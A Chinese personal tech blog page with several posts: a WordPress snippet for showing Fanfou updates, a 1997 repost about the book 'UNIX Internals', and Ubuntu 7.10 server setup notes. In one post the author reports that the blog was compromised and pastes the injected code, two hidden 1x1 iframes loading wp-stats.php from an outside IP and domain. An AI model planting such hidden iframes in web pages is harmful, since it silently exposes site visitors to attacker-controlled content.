sed /sshd/p -n /var/log/auth.log > /log/sshd.log » 21 days ago
看到有朋友提出这个源码用不了,于是乎作了些修改并测试了新版WP下的效果,都可以正常运行。
本来这几句代码是用在自己的blog上,没想到会有这些许朋友用到它。文件里关于使用方法及修改说明也写得乱七八糟的,今天重新作了修改,附上详细说明:
解包及配置:
下载文件包:fanfou_ing_plugin_for_wordpress.zip (google code host不给我传文件faint~~暂时先用svn co吧,或者邮件送出)
如果你也用svn的话那么请从这儿checkout:
http://ihao.googlecode.com/svn/trunk/plugin/wordpress/fanfou
解压后得到俩个文件:
将这俩个文件放到当前模板目录下面。
修改俩个文件中的四个配置变量分别是:
修改ings.php文件中的html结构使之适合你当前的模板结构。
使用方法:
显示单条新消息:
在模板中想要显示饭否最新一条信息的地方引用ing.php这个文件。
<?php include (TEMPLATEPATH . '/ing.php'); ?>
显示消息存档页面:
新建一个page,在page template里选择”Ings”,填完标题后内容留空发表就OK了。
其他说明:
文件利用wp自带的MagpieRSS:/wp-includes/rss.php来读取并解析饭否API输出的用户xml文件并输出到页面,没有引入其他的代码,没有做成插件,尽量简单高效地实现消息输出。
wordpress默认的rss.php缓存更新时间为一个小时,如果心急测试,可以在rss.php的582行缓存设置做修改,如设置为10分钟(60*10)。
晚上打开blog首页时感觉相当卡,以为是firefox又在吃内存了,可每次开都卡就奇怪了,打开firebug一查,居然在打开首页时载入了俩个php文件,看文件名是wp-stats.php,以自己根本就没用过这个插件,再一看吓一跳,居然这文件是来自www.wp-stats-php.info和61.132.75.71的,还是放在俩个iframe里,回想一下自己的blog几乎都是自己一个字一个字码上的,就算转贴也不可能转到这样的代码啊。
打开首页原文件一查,居然是出去年十月份的一篇文章的最后。自己可从没在文章里加过广告之类的附加代码,到底是如何而来的。访问61.132.75.71无法打开,再访问www.wp-stats-php.info页面只显示”asasasa”,要不是61.132.75.71无法访问造面blog首页载入变慢估计我到死也想不到自己的blog被人搞进这么恶心的东西。
上网找答案,发现出这情况的还不只我一个:
看来wp确实还存在着这么个不小的漏洞,这也不能怪我没有及时升级版本,2.3.1也有这情况出现。
而据说这事的始作俑者还是中国人,真不晓得该自豪还是悲哀。
目前还不知道有什么好的方法来解决,看来也只能看到一个删除一个了。
Update:忘了,把那段代码贴一下。
<!– Traffic Statistics –><br />
<iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe><br />
<!– End Traffic Statistics –><!– Traffic Statistics –> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!– End Traffic Statistics –></p>
无意间找到这篇写于97年的大作,拜读后觉着值得在blog留个存档。
发信人: syc@cc.ntu.edu.tw (Shiau Yong-Ching), 看板: Linux
标 题: Unix核心 介绍
发信站: National Taiwan University (Wed Jul 9 23:23:08 1997)
转信站: sobee!netnews.ntu!not-for-mail
在出国前, 送给陪伴我大学四年的TAnet & UNIX…
UNIX Internals
The New Fronters
导读
UNIX系统的安装数已经成长到10个,
预料此数字会持续增加中”
– Ken Thompson和Dennis Ritchie
於UNIX程式设计师手册第二版
1972年6月12日
讨论UNIX的书籍很多,但是绝大部分都只是讨论如何使用,讨论UNIX程式设计的书不
多,而介绍UNIX系统核心的书则是更少了..以下是几本有名的书:
* Bach的The Design of the UNIX Operating System, 1986 –讨论System V
Release 2
* Leffler等人, The Design and Implementation of the 4.3BSD UNIX
Operating System, 1988 — 讨论4.3BSD UNIX
* Goodheart和Cox, The Magic Garden Explained, 1994 — 讨论System V
Release 4.0
然而,这些书都只是针对单独的/特定的UNIX系统所写的,很少给读者一个整体的
观点. 而Uresh Vahalia的UNIX Internals — The New Frontiers这本书
则是从一个宏观的角度来看Unix系统.在本书中,作者讨论了商业界,学术界
的各种UNIX系统,详细的介绍了各系统的演算法,并对各系统的优缺点作了
详细而且客观的比较,实在是系统管理员,程式设计师,电脑玩家认识各家
UNIX核心最好的读物.
本书是以介绍UNIX System V Release 4.2为主,并旁徵博引其他各家的UNIX,
以讨论其中利弊得失.出版日期是1996,是介绍UNIX核心的最新参考资料.
我的读後感是没有基础会读起来很辛苦.有UNIX的使用,管理以及程式设计的经验
是必须的,建议Bach的The Design of the UNIX Operating
System也先读过,那麽读这本
书就驾轻就熟了.
本文依序介绍本书中精采的部分,也就是大部分UNIX爱好者想要了解的部分,以飨宴
那些无法读原文书,或者没有时间专研Unix核心者.对於读者的程度没有特定的假设.
介绍的深度也是随兴的,请各位多多包涵.
(more…)
这次玩得有点大,前几次装都是图形界面的desktop版,前段时间下了个7.10纯字符界面的server版,在VMware里试着用7.10配了个lamp的测试环境。基本也能跑得起来,所以在此作些记录,以方便自己或者看客查找。
说明:
标题特意用了“准服务器”的字眼是因为接下来所记录的大部份操作都是基于配置一台可运行的lamp服务器的目的,而不考虑服务器在真实运行情况下的严格的用户权限设置。
目标:
安装基本系统就不说了,一路NEXT,再作几个基本选项就ok了,那么就从装完基本系统(在第一次重启从硬盘进入系统)后开始吧(为了方便,下面所有命令都是以root用户执行的,也就是说登录系统后执行su切换到root用户再执行,当然也可以在每个命令前用sudo来代替):
首先给root一个密码再切换到root用户:
sudo passwd root
su
接着得让系统连上网(当然在安装系统的时候其实已经配置过网卡了,只不过是以dhcp形式自动获得的ip及网关,这里所说的配置当然是指给系统指定一个ip,或者说在安装过程中dhcp没有自动获得ip连上网的情况下),手动配置网卡:
vim /etc/network/interfaces
打开后在文件后面追加:
auto eth0 ###开机自动挂载第一块网卡(如文件中已有这句就不用加了)
iface eth0 inet static ###以静态ip形式配置网卡(可能会在文件里找到与这句类似的,用#注释掉,那句应该是配置网卡双dhcp自动获得ip)
address 192.168.0.100 ###设置ip
netmask 255.255.255.0 ###设置掩码
gateway 192.168.0.1 ###设置网关
编辑完后Shift+ZZ保存退出vim
接着重启第一块网卡eth0:
/etc/init.d/network restart
没什么意外的话会显示俩个ok信息,一个是关闭,一个是启动
查看下当前网卡的信息:
ifconfig eth0
接着配置下hosts文件(非必需):
vim /etc/hosts
添加一行:
192.168.0.100 server1.ihao.net server1
接着:
echo server1.example.com > /etc/hostname
/etc/init.d/hostname.sh start
这时在命令行下输入:
hostname
hostname -f
得到的结果应该都是:
server1.ihao.net
随便找个网址ping一下试试网络能不能用。如果不行那说明你人品有问题,我也没折,这里不作解答。或者从这系列文章最后列出的几个参考文章里面找答案
接下来配置源地址:
这将会使你的安装过程缩短不只200%的时间,因为默认的服务器安装软件都会从欧美那边的ubuntu服务器源更新及安装软件包,在我这儿实测,从欧美的源更新速度是10k左右(杭州2M电信),而如果换到国内的源的话是400K左右,这么一算那差别可是40倍啊,饿地神呀!!!
首先找到国内的可用源地址,没啥好说的,如果你懒得放狗搜一下的话就直接进入这儿找吧。
从列表中找一组你连得最快的地址。
我选的是:Ubuntu.cn99.com更新服务器(江苏省常州市电信,推荐电信用户使用)。
操作开始:
编辑源列表文件:
vim /etc/apt/sources.list
将默认的源地址用#注释掉,在文件最后追加上Ubuntu.cn99.com源列表地址
保存退出后执行(更新源列表):
apt-get update
再执行(安装更新):
apt-get upgrade
操作至此已经完成了最基本的一些配置,下一篇将说明在服务器上安装一些服务,像ssh,apache2,php5等
Fresh Articles List
Fresh Comments
Popular Articles List
Most commented user
Oldies, but Goodies!
Popular Tags
Monthly Archives
iHao Friends
Site Meta